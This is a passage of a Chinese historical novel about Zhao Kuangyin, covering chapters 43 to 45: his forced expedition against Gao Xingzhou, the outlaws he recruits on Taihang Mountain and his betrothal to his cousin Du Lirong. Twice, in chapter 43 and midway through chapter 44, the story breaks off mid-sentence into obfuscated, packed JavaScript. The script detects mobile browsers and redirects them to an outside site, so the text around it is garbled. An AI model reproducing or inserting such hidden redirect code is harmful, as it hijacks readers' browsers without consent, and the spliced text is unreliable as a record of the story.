过了两天,张光远和罗彦威听说赵匡胤有难,也来王府看他。五个人坐在书房里,商量怎么救赵匡胤。正说着,门官进来报:“晋王,外面有个道士,叫苗光义,说要见您。” 赵普眼睛一亮:“晋王,苗光义精通阴阳八卦,能算准祸福,是个高人!您赶紧去接他,说不定他有办法救赵公子。” 郑恩也高兴地跳起来:“我认识这个道士!上次在平定州,他算得可准了!大哥,快去吧!” 柴荣赶紧站起来,带着郑恩、张光远、罗彦威、赵普去府门口。只见苗光义穿着一件青色道袍,手里拿着拂尘,头发用木簪挽着,旁边还跟着个小徒弟,叫清风,手里提个药箱。 柴荣赶紧拱手:“先生大驾光临,有失远迎。” 郑恩拉着苗光义的手,笑着说:“先生,好久不见,你可算来了!快帮我们想想办法,救救二哥!” 苗光义笑着说:“别急,我就是为赵公子的事来的。” 众人把苗光义请进书房,赵匡胤也过来见了礼。柴荣请苗光义坐下,说:“先生,我知道您能算准祸福,求您算算,二弟什么时候能平安无事?” 苗光义喝了口茶,说:“晋王放心,赵公子最近只是有点小灾,等灾气过了,自然会没事。不过这灾气要过,还得靠一件事——五日之后,关外必有急报,到时候您可以借这件事,让赵公子戴罪立功。” 柴荣皱着眉:“先生,五日之后真的会有急报吗?要是没动静,可怎么办?” 苗光义说:“晋王放心,我算得不会错。不过这件事只能您一个人知道,不能告诉别人,不然会泄露天机。”说完,他凑到柴荣耳边,小声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519308|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几句。 柴荣半信半疑,但也没别的办法,只能等。他让人好好招待苗光义,把他留在王府里。 过了四天,一点动静都没有。到了第五天,差人张万满头大汗地跑回王府:“晋王!不好了!今天各诸侯都派官来上表祝贺,就潼关的高行周没派人来!听说高行周最近在潼关招兵买马,还加筑城墙,好像要反!” 柴荣心里一喜:苗光义算得真准!他赶紧去找苗光义:“先生,您算得对!可是我明天上朝,怎么跟姑父说让二弟戴罪立功啊?姑父肯定不同意。” 苗光义笑着说:“晋王放心,到时候会有人帮您说话的。您赶紧上朝,别错过了时机。” 柴荣赶紧让人备马,去宫里见郭威。当时郭威正在看各诸侯的表章,翻来翻去没看到高行周的,心里又生气又害怕——生气的是高行周不把他放在眼里,害怕的是高行周勇猛过人,要是真反了,没人能打得过他。 正在这时,宫官进来报:“陛下,晋王来了。” 郭威赶紧说:“让他进来。” 柴荣进来行礼,郭威问:“你病好了?来宫里有什么事?” 柴荣说:“姑父,我听说高行周在潼关招兵买马,要反!他还说要为后汉的皇帝报仇,说不定很快就会带兵来汴梁!” 郭威吓得站起来:“真有这事?那怎么办?” 柴荣说:“姑父,高行周跟我有血海深仇,我早就想报仇了。现在他要反,咱们得赶紧派兵去打他。可是朝中的将领,都打不过高行周,只有一个人能行。” 郭威问:“谁?” 柴荣说:“赵匡胤。他勇猛过人,要是让他带兵去潼关,肯定能打败高行周。要是他打不过,死在高行周手里,就当是给您消气了;要是他打赢了,就能为国家除害,还能将功折罪。这不是一举两得吗?” 郭威皱着眉:“你怎么总帮他说话?他是我的仇人,要是让他带兵,他反了怎么办?” 柴荣赶紧说:“姑父,我愿意用晋王的爵位担保,要是赵匡胤反了,我跟他一起死!” 柴皇后也在旁边劝:“陛下,柴荣都这么说了,您就信他一次吧。要是高行周真打过来,可就晚了。” 郭威想了半天,说:“你先回去,明天早朝再议。” 柴荣不肯走,跪在地上苦苦哀求,郭威被他缠得没办法,只好说:“明天再说吧。” 柴荣谢了恩,赶紧回王府,把事情告诉了众人。赵匡胤笑着说:“大哥,不管能不能打赢,我都愿意去——能为国家出力,总比待在这里等死强。” 赵普说:“公子有这份心就好,明天早朝,我会让人帮着说话。” 第二天早朝,郭威坐在龙椅上,问:“高行周要反,你们谁有办法?” 柴荣赶紧站出来:“陛下,臣推荐赵匡胤带兵去潼关,他肯定能打赢高行周。” 郭威说:“朝中那么多将领,你怎么就认准他了?他要是反了,怎么办?” 这时,王朴站出来说:“陛下,晋王说得对。赵匡胤虽然有过错,但他确实是难得的将才。不如让他带三千兵去潼关,要是打赢了,就将功折罪;要是打输了,再治他的罪。臣愿意担保,他不会反。” 郭威看着王朴:“你真愿意担保?” 王朴说:“臣愿意。要是赵匡胤反了,臣甘受死罪。” 郭威想了想,说:“好吧,就按你们说的办。”他亲自写了一道圣旨,让赵匡胤带三千兵去潼关,捉拿高行周。 柴荣接过圣旨,赶紧回王府。可是打开圣旨一看,他吓得脸都白了——只有三千兵!他赶紧拉着苗光义的手:“先生,二弟只有三千兵,怎么打得过高行周的十万兵啊?高行周的儿子高怀德勇猛过人,上次在滑州,杀了咱们不少人!这不是让二弟去送死吗?” 苗光义笑着说:“晋王放心,我早就算好了。高行周最近身体不好,活不了多久了,赵公子此去,肯定能打赢。而且三千兵虽然少,但灵活,容易打仗。您就等着好消息吧。” 清风也从药箱里拿出一个平安符,递给赵匡胤:“赵公子,这是师父画的平安符,您带着,能逢凶化吉。” 赵匡胤接过平安符,笑着说:“多谢先生和小师父。我这就准备一下,明天就出发。” 柴荣还是有点担心,但看着苗光义胸有成竹的样子,也只能相信他了。众人又坐在一起喝了会儿酒,商量着怎么准备粮草和兵器,只等明天赵匡胤出发。 到底赵匡胤能不能打赢高行周,咱们下回再说。 44. 第 44 章 话说周世宗柴荣见赵匡胤的罪是免了,可周天子只拨了三千兵马,要他去潼关捉拿高行周,用功劳抵消过错,心里头直打鼓,转头就找苗光义想办法。苗光义捋着下巴那撮山羊胡,慢悠悠道:“千岁您犯不着这么担惊受怕。世上的事本就有兴有败,都是天数定好的,强扭不来——就算是再厉害的英雄好汉,也拗不过老天爷的安排。你看那诸葛亮,有经天纬地的本事,能想出鬼神都猜不透的计谋,一辈子为蜀国鞠躬尽瘁,最后还不是死在秋风吹拂的五丈原?还有项羽,能把大山似的鼎举起来,一声怒喝就能吓瘫上千人,可一旦时运没了,还不是在乌江边上抹了脖子?古往今来多少能征善战的将军,运气好的时候顺风顺水,运气差的时候连主意都拿不定。我昨晚夜里看天象,见高行周的命星暗得快掉下来了,瞧着活不了多久,早没多少能耐了。如今赵公子只要鼓足勇气往前去,见机行事,顶多两个月,高行周肯定得死,到时候公子您就能立下别人一辈子都赶不上的大功。” 苗光义这话刚说完,旁边的赵匡胤就“嗤”地冷笑一声,扯着嗓子喊:“苗光义,你这牛鼻子老道!仗着自己会说几句空话,把瞎话编得天花乱坠,就想糊弄人?我这次去要是能打赢回来,就算了;要是打不赢,不把你腿筋挑断,我就不姓赵!”苗光义听了也不生气,反倒笑得更欢:“赵公子,你这是聪明了一辈子,偏偏这时候犯糊涂。你要是真应了我的话,杀了高行周,得胜回朝,到时候别说打我,恐怕还得拎着好酒来谢我呢!可要是杀不了高行周,你自己都死在潼关了,哪还有命回来断我的腿筋?公子尽管放心去,保准能成。我就在王府里等你的好消息,到时候还得陪你喝庆功酒呢。再说了,换别人领兵去,未必能砍下高行周的脑袋,可你跟他是前世的冤家、今生的对头,这是定死了的事,犯不着瞎琢磨。” 赵匡胤被他噎得说不出话,心里却翻来覆去地打鼓:高行周那杆祖传的花枪,谁不知道厉害?连铁枪王彦章都死在他手里,我哪打得过他?可转念又想,做人这辈子,总不能贪生怕死,等着让人捆起来砍头吧?要是因为之前的罪过被杀,死得不明不白;倒不如战死在沙场上,还能留个好名声传后世。主意一打定,他冲着柴荣大声说:“大哥,快去挑选兵马!我明天就出发,就算高行周有三头六臂,我也跟他拼了,不死不休!”柴荣见他下了决心,心里的石头落了一半,立刻往教场去点了三千精锐,全交给了赵匡胤。 赵匡胤把兵马在城外扎好营,连夜赶回家里辞行。一进门就见父亲赵弘殷坐在太师椅上,脸拉得老长,一句话都不说,眼里满是火气;母亲杜夫人终究是疼儿子,一看见他,眼泪就掉了下来,拉着他的袖子问:“我儿,你可算回来了?”赵匡胤点头:“娘,我回来了。” 赵弘殷这时候再也忍不住,手指头戳着他的额头,声音都发颤:“你这不成器的东西!我跟你说过多少回,别在外头惹祸,好歹让我和你娘多活几年!你偏不听,一次次闯祸,害得我们老两口提心吊胆。如今你还回来做什么?赶紧走,别在我跟前碍眼!”赵匡胤知道父亲是嘴硬心软,赶紧跪下解释:“爹,娘,周天子虽然免了我的罪,却要我带罪领兵,尽快去潼关捉拿高行周回来立功赎罪,我明天就要走,特意回来跟你们辞行。” 杜夫人一听这话,当场就哭出了声,抱着赵匡胤的胳膊不肯放;赵弘殷虽说刚才还在发火,可听见周主要儿子去潼关打高行周,明天就出发,吓得魂都快飞了——那高行周是什么人物?儿子这一去,怕是凶多吉少。他别过脸擦了擦眼泪,声音哽咽着说:“匡胤我的儿,我白养你一场啊!你这去潼关,十有八九是回不来了,恐怕今天见这一面,以后就再也见不着了。”说着就不住地叹气,眼泪顺着皱纹往下淌。 赵匡胤赶紧扶着父亲的胳膊起身:“爹,高行周也是个人,又不是真有三头六臂,您别这么怕他。”赵弘殷狠狠瞪了他一眼:“你这畜生懂什么!那高行周精通兵法,还能看懂天象,排兵布阵跟孙武、姜子牙似的,一杆枪打遍天下没对手,连算卦都能断出吉凶,闻闻风向就知道输赢,捏把土就能猜出战局。你这是蚂蚱嫌路窄、雏鹰刚飞就嫌天低,根本不是他的对手,去了就是送死!我也没别的话说,就给你几句行军的规矩,你可得牢牢记住,照着做,或许还能留条命回来。你听好了: 沿路别伤着老百姓,天黑前一定要扎好营; 拔营得等太阳出来,选营地得找平坦安稳的地方; 夜里要防着敌人劫营,打更的得把时辰报清楚; 低洼的地方要防着人家放水淹营,窄道上得盯着别让人放火; 出兵得挑吉利的日子,打仗尽量占上风的位置; 追敌人的时候要防着埋伏,回营后得想着人家会不会反扑; 高行周的计谋多着呢,最会引诱你上当,挫你的锐气; 输赢虽然没法提前定,好歹听天由命,多靠脑子别蛮干。” 这几句都是赵弘殷打了一辈子仗总结的经验,他怕儿子记不住,特意念得慢,还拍着赵匡胤的手强调:“这都是保命的法子,你千万别仗着自己力气大就胡来,误了大事!”赵匡胤恭恭敬敬地应下,又对父母说:“爹,娘,我这去顶多半年,少则四个月,肯定能得胜回来,你们别担心。皇命在身,我不能多留,这就给你们磕头辞行。”说着磕了四个响头,转身要走。杜夫人哭着扯住他的衣角,怎么都不肯放,那场面跟生离死别似的,任谁看了都心酸。赵弘殷叹了口气,劝道:“夫人,孩子有大事要做,别拦着他了,让他走吧。”杜夫人这才依依不舍地松了手。 赵匡胤抹着眼泪出了正屋,往后院去辞妻子贺金蝉。贺金蝉早就听说丈夫要去潼关,心里头七上八下的,见他进来,赶紧迎到屋里,两人坐下后,她眼圈红红地说:“夫君,我听说朝廷免了你的罪,却又要你领兵远行,心里实在害怕。你这去可得求神明保佑,早点打赢回来,到时候我去拜天地、拜祖宗,好好谢恩。”赵匡胤握着她的手:“贤妻别担心,我进来是有件事托付你——爹娘年纪大了,早晚伺候的事,全靠你多费心。”贺金蝉点头:“这本来就是我该做的,你不用特意嘱咐。”说着,夫妻二人一起走到前厅,贺金蝉站在门口,看着他的背影,眼泪又掉了下来。 赵匡胤又回到正屋,跟弟弟赵匡义道别。他攥着赵匡义的手,声音低沉:“兄弟,我这去潼关,凶多吉少。要是我真死在高行周手里,爹娘年纪大了,就靠你尽孝;你嫂嫂还年轻,让她再找个人家,别让她守一辈子活寡。”赵匡义眼泪哗哗地流,攥着他的手不肯放:“哥哥你放心去,肯定能逢凶化吉,我在京城等着给你接风!”说着送他出了大门。 赵匡胤骑上马,往柴荣的王府去,到的时候已经是下午。柴荣早就备好了饯行的酒席,摆在书房里,就等他来。当时柴荣、赵匡胤、郑恩、张光远、罗彥威、赵普六个人按辈分坐下,只有苗光义不吃荤,特意给他摆了一桌素席。几人端着酒杯互相敬酒,夹着菜聊天,席间说的全是行军打仗的事。眼看着天快黑了,又喝了几杯,才撤了席,各自回房休息。 第二天一早,赵匡胤跟众人辞行,带着三千兵马,和郑恩一起,放了三声炮仗,浩浩荡荡地出了汴梁城,往潼关的方向走。走了没几天,路过昆明山,收服了山上的董龙、董虎兄弟——这俩人原本是占山为王的好汉,手下有八千喽啰,见赵匡胤是条英雄,又听说要去打高行周,当场就答应归顺,两路人马合在一起,一共一万一千人,队伍一下子壮大了不少。 又走了几天,路过张家莊,赵匡胤才知道张太公已经去世了。他赶紧让士兵备好祭品,亲自去张太公的灵前祭拜——当年他落魄的时候受过张太公的恩惠,如今张太公不在了,总得尽份女婿的礼数。张太公活着的时候家境殷实,可没儿没女,也没什么亲戚。赵匡胤叫来了张家的仆人和家童,挑了个忠厚老实的管家,让他负责照看张家的田地,逢年过节给张太公上坟;又嘱咐其他人要好好干活,不许偷懒耍滑,更不许欺负管家。众人都恭恭敬敬地应了。赵匡胤安排好这些事,才带着兵马继续往前走。有诗为证: 董家兄弟八千兵,归顺之后军纪明。 张家财多无后嗣,选个能人管公平。 大军在路上走得浩浩荡荡,一路往潼关去,沿途秋毫无犯,老百姓都站在路边看。正走着,探马小校周小三骑着马飞快地跑回来报告:“主爷,前面有座大山挡路,兵马没法往前走了!”赵匡胤一听,立刻下令扎营,转头问向导:“前面那座山叫什么名字?” 这会儿赵匡胤还是带罪领兵,周天子没给他封官,手下人既不能叫他“老爷”,也不能叫“元帅”,只好称呼“主爷”,意思是领兵的主帅。向导赶紧回话:“主爷,前面那座山叫太行山,又高又险,山路难走得很。”赵匡胤一听“太行山”,心里一动:我娘舅杜二公就在这山上当寨主,人称“抹谷大王”,不知道他最近怎么样了?不如上山去见见他,说不定还能借点兵马。 他转头对郑恩说:“三弟,这山上是我娘舅的地盘,手下兵马不少。你跟董龙、董虎兄弟守着营寨,我一个人上山去见他,跟他借点人,凑够人马,好去潼关跟高行周对阵。”郑恩点头答应,和董龙、董虎一起守营。赵匡胤没带一个随从,独自骑着马进了山口,顺着山路慢慢往上走。 这太行山的景色可真不赖:松柏长得直插云天,山涧里的溪水顺着石头往下流,哗啦哗啦响;獐子、鹿在树林里来回跑,一点都不怕人;兔子在山坡上打了好几个洞,豺狼偶尔从草丛里窜出来,转眼就没了影;鸟儿在树枝上飞着叫,还有会说话的鹦鹉,在枝头学人的声音;最让人喜欢的是山泉,水清澈得像雪练一样,顺着石头往下淌。 这时候正是中秋前后,山上的草木还带着绿意,野花也开得鲜艳,赵匡胤正看得入神,忽然听见“哐哐哐”的锣声,抬头一看,盘山道上站着几十个喽啰,手里拿着擂木,眼看就要往下扔。赵匡胤赶紧喊:“你们别扔!快去告诉抹谷大王,就说东京来的赵公子要见他!” 喽啰们往下一看,见赵匡胤头上扎着红头巾,身穿绿色战袍,脸膛红得像枣子,胡子硬得像钢针,骑着一匹红得像火炭的马,那马高大精神,衬得赵匡胤格外魁梧。喽啰们知道这人认识寨主,不敢怠慢,赶紧跑上山,到分金亭前跪下报告:“启禀大王,山下来了个红脸大汉,就他一个人一匹马,说自己是东京的赵公子,要见三大王您。请您定夺!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519309|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杜二公一听,赶紧对身边的威山大王、巡山太保说:“这来的是我外甥,叫赵匡胤,字元朗。为人特别仁义,在关西五路也是条有名的好汉。今天来肯定有事,劳烦二位跟我一起下山接他上来,问问他来干什么。要是没别的事,还能留他多住几天。二位意下如何?” 巡山太保笑着问:“贤弟,去年你在千家店‘抹谷’(指劫道)的时候,把你揍了一顿的,是不是就是这位外甥?”杜二公也笑了:“不瞒你说,当初教训我的,就是这孩子。”巡山太保点头:“怪不得要我们一起去接,原来是贤弟的‘上司’,我们当然该去。”威山大王也说:“我早就听说你这外甥是条英雄,去年你被他打了之后,我就想把他接上山来,可惜他走得早,没见着,心里一直遗憾。如今他来了,正合我意,该去接。” 说着,杜二公吩咐喽啰大开寨门,打扫干净迎接。三个寨主一起下山,把赵匡胤接上山,到大厅里互相见了礼,各自坐下。赵匡胤先跟杜二公聊了会儿甥舅间的家常,然后才问另外两位寨主的姓名。赵匡胤后来是开国皇帝,天生带着股让人恭敬的气场,这会儿虽然还没发迹,可那股福气已经藏不住了。他刚问出口,李通和周霸就赶紧站起来回话。 威山大王说:“公子,我叫李通。这是我义弟,叫周霸。我们都是涿州人,之前跟当地的豪强结了仇,一时气不过,把人打死了,官府到处抓我们,没地方躲,才来这山上落草。我们只是想暂时活命,并不是真愿意当强盗。”赵匡胤点头:“原来二位都是英雄好汉,有这么好的本事,可惜埋在绿林里,就像美玉藏在石头里、明珠蒙了灰。如今我奉朝廷之命,领兵去潼关剿灭逆贼,大军就在山下扎营。我早就听说二位的名声,特意来拜见。二位要是愿意弃暗投明,跟我一起去立功,把这辈子的本事用在报效朝廷上,挣个富贵功名,光宗耀祖,给妻子孩子谋个前程,岂不是好事?要是一直当强盗,终究不是长久之计。不知道二位意下如何?” 李通和周霸听了这话,心里的热血一下子就涌上来了——他们本来就不想一辈子当强盗,只是没机会出头。如今赵匡胤愿意带他们,简直是天上掉下来的机会。两人又感激又高兴,赶紧说:“我们早就有这个心思,就是没门路。如今蒙公子指点,不嫌弃我们是粗人,我们愿意归顺您,听您指挥,一起去杀贼立功!” 赵匡胤大喜:“既然二位愿意,我们明天就出发。不知道山寨里有多少兵马?麻烦二位跟兄弟们说一声,愿意去的就去,不愿意的也不勉强,让他们自己做主。”李通和周霸赶紧领命,一边清点兵马,一边收拾粮草,又吩咐人在分金亭摆酒,招待赵匡胤。 眼看着天快黑了,赵匡胤起身要下山。杜二公赶紧拉住他:“贤甥别急着走。自从你去年走了之后,我就把你外婆、你舅母和你表妹都接到山上住了。我们兄弟三个虽说名义上是落草,可一直是替天行道,只抢那些为富不仁的人,如今兵马精锐、粮草充足,日子过得挺好,这都是托你的福。你外婆天天念叨你,跟我进去见见她,今晚就在山上住,明天再下山。” 赵匡胤一听外婆和舅母都在山上,赶紧站起来,跟李通、周霸告了辞,跟着杜二公往后寨去。一进后寨,就给杜老太太和褚氏舅母磕了头,聊了会儿家常。褚氏舅母问:“外甥,你这是从哪来啊?”赵匡胤说:“我从东京来,如今奉朝廷的命令,去潼关剿灭逆贼,特意来请娘舅一起去。”杜老太太拉着他的手,又摸了摸他的胳膊:“我儿,你爹娘在家还好吗?”赵匡胤说:“都好,就是我娘总念叨您和娘舅、舅母,没机会见面,一直惦记着。” 正说着,褚氏舅母让丫鬟去请杜丽容出来见表哥。杜二公又摆了一桌酒,让大家坐下吃饭。杜丽容刚坐下就要回房,褚氏舅母拉住她:“女儿,这是你姑妈的儿子,亲表哥,去年还见过一面,躲什么?就坐在我旁边,陪你哥哥喝杯酒。”杜丽容不敢违抗,只好坐下。 赵匡胤上次见杜丽容的时候,没仔细看,只觉得她长得和舅母不一样,已经有点惊讶。这次坐在一张桌上,才好好打量了一番——这姑娘简直是天上的嫦娥落到了人间,眉毛弯得像新月,眼睛亮得像秋水,皮肤白得像刚出水的荷花,身上戴的珍珠首饰闪着光,衣服一层叠一层,鲜鲜艳艳的。她递酒杯的时候,手指细得像春天的竹笋,连递酒的动作都透着温柔。 杜丽容后来是要当西宫贵妃的人,虽说和表哥一起喝酒,却不显得轻浮,一举一动都端庄文静,透着股贞洁娴雅的气质。赵匡胤看了,心里又敬又喜欢。这一大家子五个人,一直喝到半夜,杜二公才让人撤了酒席,送赵匡胤去西书房休息,甥舅俩互相道了珍重。 杜二公转身回房,和褚氏舅母等老太太睡下后,才准备休息。刚躺下,就听见丫鬟春桃慌慌张张地跑进来喊:“二老爷!不好了!西书房着火了!”这一声喊,把杜二公和褚氏舅母吓得赶紧爬起来,跟着春桃往西书房跑。 这一把火,倒引出了后来“亲上加亲”的缘分,也让赵匡胤的好运更盛了。正是: 旌旗所到之处,人人都愿意归顺;兵马逼近城下,敌人自会投降。 到底西书房的火是怎么灭的,又引出了什么事,且看下回分解。 45. 第 45 章 话说杜二公把赵匡胤送到西书房安置妥当,又转身去给老母亲请安。直到看着老母亲睡熟,他才松了口气,挽着妻子褚氏往自己房里走。两人刚进屋,正准备宽衣歇息,门外突然传来丫鬟小翠慌慌张张的声音:“老爷!夫人!不好了!西书房着火了!” 杜二公一听,心瞬间提到了嗓子眼,拉着褚氏就往外冲,连鞋都没顾上穿好。可跑到西书房门口一看,哪有半点儿火苗?反倒是整座西书房的屋顶被一层淡淡的红光罩着,像蒙了层胭脂似的。夫妻俩对视一眼,都觉得奇怪,悄悄凑到门缝边往里瞧——只见赵匡胤安安稳稳躺在床上,呼吸均匀,可他头顶上方,竟隐隐飘着一条赤色真龙的影子!那龙鳞泛着金光,龙嘴里还不住地吞吐着橘红色的火焰,火焰不烧衣物,也不烫被褥,只把书房照得暖融融的。 褚氏吓得差点叫出声,杜二公赶紧捂住她的嘴,指尖都在发颤。两人又看了一会儿,见真龙影子渐渐淡了,才轻手轻脚地往后退。回头再看屋顶的红光,依旧像着火似的亮着,杜二公压低声音对褚氏说:“这事可千万不能声张,要是传出去,官府说不定会来搜捕,咱们山寨就完了。”褚氏连连点头,两人快步回了房,又特意叫住路过的老丫鬟张妈,叮嘱道:“你去厨房盯着夜宵,让底下人都别往西书房那边去,别惊扰了赵公子休息。”张妈虽纳闷,却也没多问,点头去了。 夫妻俩坐在床边,半天没说话。还是褚氏先开口,声音里带着几分激动和后怕:“当家的,我刚才看得真切,赵家外甥头顶上那是真龙啊!这可不是一般人能有的征兆,他以后说不定真能当皇帝!” 杜二公摩挲着手指,缓缓点头:“其实我早就想跟你说这事了,只是前些日子山寨里事多,一直没来得及。去年中秋节过后,有个叫苗光义的道人上山,非要给我相面。他说咱们这外甥是真命天子,还让我趁机招兵买马、囤积粮草,日后好帮他成事。我当时还觉得他是胡说八道,可今天亲眼见了真龙,才知道他说的是真的。这孩子以后必定是天子,只是这事咱们俩知道就行,绝不能让第三个人听见。” 褚氏眼睛一亮,又往前凑了凑:“说起来还有件怪事!我昨天半夜做了个梦,梦见一个穿道袍的白胡子老头,手里拿着本簿子,笑着跟我说:‘你女儿丽容有后妃的福气,你可得好好照顾她。记住,等真龙出现的时候,就是她遇着贵婿的时候。’我当时还跟他说:‘我们就是占山为王的,女儿哪有那福气当后妃?’可那老头拉着我就走,说要给我看证据。” “我跟着他走到一个地方,满眼都是高大的宫院,柱子上雕着凤凰,门窗都是金玉镶的,比咱们山寨的大堂气派十倍都不止。宫里头的摆设更是奢华,翡翠屏风、玉如意摆了一地,我这辈子都没见过。两边还站着好多穿彩衣的宫女,一个个低头垂手,中间坐着个穿宫装的美人,头上插着金步摇,看着特别尊贵。你猜那美人是谁?” 杜二公笑着摇头:“你做的梦,我哪能知道?难不成是宫里的娘娘?” “哪是什么娘娘!”褚氏拍了下床沿,“那就是咱们家丽容啊!我当时都懵了,刚想进去问她怎么会在这儿,你突然翻了个身,用脚蹬了我肩膀一下,我就醒了。醒的时候还听见外面喽啰刚打了四鼓呢!你说这梦奇不奇?” 杜二公哈哈大笑,伸手捏了捏褚氏的脸:“这梦是够奇的,都怪我那脚没规矩,把你惊醒了,不然你还能跟咱们女儿多说几句话,沾沾她的福气。回头我可得好好‘罚’它。” 褚氏啐了他一口,却也笑了:“都什么时候了还说笑话!我琢磨着,我这梦跟今天见的真龙,说不定就是应在一处了——丽容和外甥说不定真有姻缘!咱们明天就把女儿许给外甥吧!等他以后当了皇帝,咱们就是国丈和国丈母娘,下半辈子也能风光风光!” 杜二公却皱了皱眉:“我听说外甥在东京已经娶了亲,再把丽容许给他,会不会委屈了女儿?” “你这就是死心眼!”褚氏急了,“皇帝有三宫六院,富贵人家也有三妻四妾,外甥以后是要当皇帝的,难道还不能多娶一个?就算当不了正宫,偏宫也是尊贵的,总比嫁给山里的粗人强。再说丽容性子软,跟着外甥,咱们也能放心。” 杜二公看着妻子急切的样子,忍不住笑了:“其实我早就有这心思了,就是怕你觉得不妥,故意试探你。既然咱们想到一块儿去,明天就请老母亲出面说合,这样更妥当。”褚氏一听,高兴得差点跳起来,夫妻俩又商量了半天细节,才安心睡下。 第二天一早,杜二公和褚氏就去了老母亲房里。老母亲一听要招赵匡胤当女婿,笑得眼睛都眯了:“我早就看外甥这孩子稳重,跟丽容也般配,这事我来办!”说着就叫小翠去西书房请赵匡胤。 赵匡胤很快就来了,先给老母亲磕了头,又给杜二公夫妇问好,才问道:“外婆,您叫我来,是有什么事吗?” 老母亲拉着他的手,拍了拍他的手背:“孩子,外婆叫你来,是有桩喜事要跟你说。你母舅夫妇就丽容这么一个女儿,今年十五了,模样周正,针线也好,还会煮你爱吃的小米粥。我们想把丽容许给你做妻子,你愿意吗?” 赵匡胤愣了一下,赶紧起身:“外婆,谢谢您和母舅舅母的好意,只是我在东京已经娶了贺氏为妻,再娶丽容表妹,怕是委屈了她。而且我现在奉旨领兵,军务在身,也没心思考虑私事。” “你这孩子,怎么这么死脑筋!”老母亲假装生气,“皇帝都能三宫六院,你以后要做大事的人,多娶一个妻子算什么?丽容不介意,我们也不介意。再说你跟丽容是表亲,亲上加亲多好!” 褚氏也赶紧接话:“外甥,咱们是至亲,哪用等什么父母之命?外婆做主就行!也不用你备什么聘礼,你只要留下一样东西当定情物,这事就算定了,以后绝不反悔。” 赵匡胤看着眼前几位长辈恳切的眼神,心里也有些动摇。他想起母亲杜氏(杜二公的亲妹妹)临走时给他的那只玉鸳鸯,说:“以后遇到能帮你、又让你动心的姑娘,就把这个给她,算是娘替你认下这门亲。”他伸手摸了摸腰间的玉鸳鸯,犹豫了片刻,还是解下来递给褚氏:“舅母,这玉鸳鸯是我母亲给我的,我就用它当定情物吧。等我班师回朝,再禀明父母,风风光光地来娶丽容表妹。” 褚氏接过玉鸳鸯,见上面雕的鸳鸯栩栩如生,心里乐开了花,赶紧递给里屋的丽容。丽容刚才一直在屏风后偷听,早就羞得满脸通红,接过玉鸳鸯时,指尖都在发烫。旁边的丫鬟春桃凑过来,小声打趣:“小姐,以后您就是赵公子的人了,再也不用愁嫁啦!”丽容羞得把她推开,却忍不住偷偷摸了摸玉鸳鸯,心里竟有些期待。 赵匡胤又跟长辈们聊了会儿,才起身告辞,跟着杜二公去了前厅。李通和周霸已经在那儿等着了,见赵匡胤来了,赶紧起身见礼。李通笑着说:“赵公子,我们已经选好了五千精兵,都是山寨里最能打的弟兄,跟你一起去潼关。剩下的人我已经跟褚夫人交代好了,让她守着山寨,保证万无一失。” 赵匡胤点点头,又跟李通、周霸仔细核对了兵力部署,才一起去校场点兵。等大军整顿好,杜二公亲自送他们下山。到了山下的大营,郑恩和二董(董遵诲、董元卿)早就等着了,郑恩一见赵匡胤,就大步冲过来,拍着他的肩膀笑:“二哥,你可算来了!再不来,我都要带着人去潼关门口叫阵了!”赵匡胤笑着捶了他一下,又跟二董寒暄了几句,才传下命令:“放炮起行!目标潼关!” 号角声响起,一万六千大军浩浩荡荡地往潼关方向去了,咱们暂且按下不表。 再说高行周,自从从滑州领兵回潼关后,心里就一直不踏实,还染了风寒,天天咳嗽,只能在帅府里静养。儿子高怀德每天守在床边,端药递水,寸步不离。帅府里的大小事,都交给了副将岳元福打理。 这天早上,高怀德正给父亲煎药,突然听见前厅传来一阵急促的脚步声。没过一会儿,探子就慌慌张张地跑进来,跪在地上大喊:“元帅!不好了!郭威那贼子攻破了汴梁,逼着汉主自尽,自己登基当皇帝了!还改了年号,叫什么‘广顺’!” 高行周一听,手里的茶杯“哐当”一声摔在地上,茶水溅到了高怀德的手背上,烫得他一缩,却顾不上疼,赶紧扶住父亲:“爹,您别激动!” “激动?”高行周气得浑身发抖,胸口剧烈起伏,“我受汉主的恩宠,当了这么多年的将军,如今他被贼子害死,我却不能为他报仇,这算什么忠臣!郭威那老贼,篡夺皇位,早晚要遭天谴!”他越说越激动,突然眼前一黑,直直地倒了下去。 “老爷!”后堂的高夫人听见动静,赶紧跑出来,见高行周晕过去了,当场就哭了,“怀德,快!快拿汤来!”高怀德手忙脚乱地端过刚温好的参汤,丫鬟们一起上前,小心翼翼地把汤喂进高行周嘴里。 过了半个时辰,高行周才缓缓睁开眼,长叹一声:“我倒是想领兵去东京杀贼,可汉主的福气已经尽了,郭威那贼子正得势,我就算去了,恐怕也只是白白牺牲将士们的性命,什么用都没有。可要是不去……天下人会说我高行周贪生怕死,苟且偷生,连君主的仇都不敢报,我这一辈子的名声,可就全毁了啊!” 他左思右想,越想越乱,只觉得头晕脑胀,干脆和衣躺在榻上,闭着眼想对策。可想来想去,还是没个头绪。直到第三天早上,他突然坐起身,叫来了高怀德:“怀德,爹食了汉主的俸禄,就算君主不在了,也该守住这潼关,不叫贼子夺走。可天意难违,我就算拼了这条老命,恐怕也挡不住郭威的势力。” 高怀德愣了愣:“爹,您这话是什么意思?您是想……” 